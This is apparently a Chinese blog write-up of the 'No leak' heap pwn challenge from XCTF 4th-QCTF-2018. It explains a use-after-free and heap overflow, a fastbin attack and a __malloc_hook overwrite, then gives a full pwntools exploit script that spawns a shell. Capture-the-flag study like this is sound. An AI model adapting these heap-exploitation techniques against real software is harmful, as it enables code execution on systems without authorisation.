No leak XCTF 4th-QCTF-2018

 这个题真的很好玩   先看一下保护

PIE 和 NX没开 那么我们可以 用shellcode 来写这一道题

先用ida 看一下题目

 

 会发现 没有show  也就是输出函数

但是 dele 函数确实能够 安排很多东西    UAF 等等

而且我们发现 edit 可以自己定size  那么 就可以堆溢出

但是有一点就是   

 

由于指针没有清0  如果我们不自己清0的话 可能直接就gg了  10个堆可能不太好利用,

然后我们可以用 fastbin attack  看看能不能 把我们地址上面的给写进去 我们向上找 看有没有合适的大小

 

这里发现一个合适的大小

然后可以 在搞一个unsorted bin  然后  在 libc -2.23 里面  malloc hook 和 放unsorted bin bk指针 最后一个字节不一样 我们把最后一个字节改了就可以了

然后再把 unsorted bin的大小给改了 指针改了 然后直接 让堆块申请到malloc hook的地方

然后修改成 我们shellcode 的地址就可以

 

from pwn import *

debug=1

context.log_level='debug'
context.arch='amd64'
shellcode=asm(shellcraft.sh()).ljust(0x73,'\x00')+'\x10'
if debug:
    io=process('./timu')
else:
    io=remote('',)

def add(size,data):
	io.recvuntil("Your choice :")
	io.sendline("1")
	io.recvuntil("Size: ")
	io.sendline(str(size))
	io.recvuntil("Data: ")
	io.sendline(data)

def dele(index):
	io.recvuntil("Your choice :")
	io.sendline("2")
	io.recvuntil("Index: ")
	io.sendline(str(index))

def edit(index,size,data):
	io.recvuntil("Your choice :")
	io.sendline("3")
	io.recvuntil("Index: ")
	io.sendline(str(index))
	io.recvuntil("Size: ")
	io.sendline(str(size))
	io.recvuntil("Data: ")
	io.sendline(data)

if __name__== "__main__":
	add(0x68,'0')
	add(0x68,'1')
	add(0x68,'2')
	dele(1)
	dele(0)
	edit(0,8,p64(0x600ff5))
	add(0x68,'3')
	add(0x68,'4')
	#gdb.attach(io)
	#pause()
	payload='\00'*0x5b
	edit(4,len(payload),payload)
	#gdb.attach(io)
	#pause()

	add(0x68,'0')
	add(0x68,'1')
	add(0x80,'2')
	add(0x68,'3')
	#gdb.attach(io)
	#pause()	
	dele(3)
	dele(0)
	dele(2)
	edit(0,1,'\x30')
	edit(2,1,'\x05')
	payload='\x00'*0x68+'\x71'
	edit(1,len(payload),payload)
	#gdb.attach(io)
	#pause()	
	add(0x68,'5')
	add(0x68,'6')
	add(0x68,'7')
	edit(4,len(shellcode),shellcode)
	edit(7,8,p64(0x601005))
	#gdb.attach(io)
	#pause()	
	#edit(2,)
	io.sendline('1')
	io.sendline('1')
	io.interactive()
	io.close()

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值